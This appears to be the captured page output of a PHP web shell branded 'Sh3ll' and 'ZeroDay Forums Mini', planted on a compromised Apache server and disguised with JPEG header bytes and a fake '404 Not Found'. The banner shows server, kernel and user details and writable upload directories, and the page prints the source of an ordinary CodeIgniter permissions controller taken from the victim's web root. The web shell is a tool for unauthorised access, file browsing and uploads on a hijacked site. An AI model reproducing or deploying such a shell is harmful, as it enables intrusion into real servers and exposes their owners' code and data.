����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/modules/dashboard/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/adimi/application/modules/dashboard/controllers/Module_permission.php
<?php
defined('BASEPATH') or exit('No direct script access allowed');

class Module_permission extends MX_Controller
{

    public function __construct()
    {
        parent::__construct();
        $this->load->model(array(
            'module_permission_model',
            'module_model',
            'user_model',
            'template/Template_model',
        ));

        $this->auth->check_user_auth();
    }

    public function index()
    {

        $data['title'] = display('module_permission_list');
        $data['module'] = "dashboard";
        $data['page'] = "module/permission_list";
        $data['module_permission'] = $this->module_permission_model->read();
        $data['setting'] = $this->Template_model->setting();
        $this->parser->parse('template/layout', $data);

    }

    public function view($id)
    {
        $data['title'] = display('user_permission');
        $data['module'] = "dashboard";
        $data['page'] = "module/permission_view";
        $data['permission'] = $this->module_permission_model->single($id);
        echo Modules::run('template/layout', $data);
    }

    public function create()
    {
        $data['title'] = display('add_module_permission');
        /*-----------------------------------*/
        $this->form_validation->set_rules('fk_user_id', display('username'), 'required|numeric|max_length[11]|is_unique[module_permission.fk_user_id]');
        /*-----------------------------------*/
        $data['module_permission'] = (object)array(
            'fk_user_id' => $this->input->post('fk_user_id',TRUE),
        );
        /*-----------------------------------*/
        $fk_module_id = $this->input->post('fk_module_id',TRUE);
        $create = $this->input->post('create',TRUE);
        $read = $this->input->post('read',TRUE);
        $update = $this->input->post('update',TRUE);
        $delete = $this->input->post('delete',TRUE);

        for ($i = 0; $i < sizeof($fk_module_id); $i++) {
            for ($j = 0; $j < sizeof($fk_module_id[$i]); $j++) {
                $dataStore[$i] = array(
                    'fk_user_id' => $this->input->post('fk_user_id',TRUE),
                    'fk_module_id' => $fk_module_id[$i][$j],
                    'create' => (!empty($create[$i][$j]) ? $create[$i][$j] : 0),
                    'read' => (!empty($read[$i][$j]) ? $read[$i][$j] : 0),
                    'update' => (!empty($update[$i][$j]) ? $update[$i][$j] : 0),
                    'delete' => (!empty($delete[$i][$j]) ? $delete[$i][$j] : 0),
                );
            }
        }

        /*-----------------------------------*/
        if ($this->form_validation->run()) {

            if ($this->module_permission_model->create($dataStore)) {
                $this->session->set_flashdata('message', display('module_permission_added_successfully'));
            } else {
                $this->session->set_flashdata('exception', display('please_try_again'));
            }
            redirect("dashboard/module_permission/create/");

        } else {
            $data['module'] = "dashboard";
            $data['page'] = "module/permission_form";
            $data['module_list'] = $this->module_model->dropdown();
            $data['user_list'] = $this->user_model->dropdown();
            echo Modules::run('template/layout', $data);
        }
    }


    public function edit($id = null)
    {
        $data['title'] = display('update_module_permission');
        /*-----------------------------------*/
        $this->form_validation->set_rules('fk_user_id', display('username'), 'required|numeric|max_length[11]');
        /*-----------------------------------*/
        $data['module_permission'] = (object)array(
            'fk_user_id' => $this->input->post('fk_user_id',TRUE),
        );
        /*-----------------------------------*/
        $fk_module_id = $this->input->post('fk_module_id',TRUE);
        $create = $this->input->post('create',TRUE);
        $read = $this->input->post('read',TRUE);
        $update = $this->input->post('update',TRUE);
        $delete = $this->input->post('delete',TRUE);

        for ($i = 0; $i < sizeof($fk_module_id); $i++) {
            for ($j = 0; $j < sizeof($fk_module_id[$i]); $j++) {
                $dataStore[$i] = array(
                    'fk_user_id' => $this->input->post('fk_user_id',TRUE),
                    'fk_module_id' => $fk_module_id[$i][$j],
                    'create' => (!empty($create[$i][$j]) ? $create[$i][$j] : 0),
                    'read' => (!empty($read[$i][$j]) ? $read[$i][$j] : 0),
                    'update' => (!empty($update[$i][$j]) ? $update[$i][$j] : 0),
                    'delete' => (!empty($delete[$i][$j]) ? $delete[$i][$j] : 0),
                );
            }
        }

        /*-----------------------------------*/
        if ($this->form_validation->run()) {

            // delete previous permission
            if ($this->module_permission_model->create($dataStore)) {
                $this->session->set_flashdata('message', display('update_successfully'));
            } else {
                $this->session->set_flashdata('exception', display('please_try_again'));
            }
            redirect("dashboard/module_permission/edit/$id");

        } else {
            $data['module'] = "dashboard";
            $data['page'] = "module/permission_edit";
            $data['module_list'] = $this->module_model->dropdown();
            $data['user_list'] = $this->user_model->dropdown();
            $data['permission'] = $this->module_permission_model->permission_edit($id);
            echo Modules::run('template/layout', $data);
        }
    }


    public function delete($id = null)
    {
        if ($this->module_permission_model->delete($id)) {
            $this->session->set_flashdata('message', display('delete_successfully'));
        } else {
            $this->session->set_flashdata('exception', display('please_try_again'));
        }

        redirect("dashboard/module_permission/index");
    }


}

ZeroDay Forums Mini